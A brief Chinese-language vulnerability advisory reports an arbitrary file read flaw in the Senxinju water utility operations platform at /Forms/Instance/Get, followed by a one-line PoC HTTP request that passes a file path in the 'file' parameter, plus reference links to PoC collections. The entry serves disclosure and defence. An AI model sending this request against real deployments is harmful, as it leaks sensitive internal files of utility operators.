Description
森鑫炬水务企业综合运营平台 /Forms/Instance/Get 存在任意文件读取漏洞,攻击者可获取系统内部敏感文件内容，造成信息泄露。
森鑫炬水务企业综合运营平台 /Forms/Instance/Get 文件读取漏洞
PoC
GET /Forms/Instance/Get?file=C://x HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://github.com/eeeeeeeeee-code/POC/blob/main/wpoc/%E6%A3%AE%E9%91%AB%E7%82%AC%E6%B0%B4%E5%8A%A1%E4%BC%81%E4%B8%9A%E7%BB%BC%E5%90%88%E8%BF%90%E8%90%A5%E5%B9%B3%E5%8F%B0/%E6%A3%AE%E9%91%AB%E7%82%AC%E6%B0%B4%E5%8A%A1%E4%BC%81%E4%B8%9A%E7%BB%BC%E5%90%88%E8%BF%90%E8%90%A5%E5%B9%B3%E5%8F%B0%20InstanceGet%20%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.md
https://ddpoc.com/DVB-2025-9742.html
https://adg.csdn.net/694cfdbb5b9f5f31781ac04d.html
https://nosec.org/m/share/5904.html
https://cn-sec.com/archives/4298238.html
https://www.xtcaq.com/nd.jsp?id=9442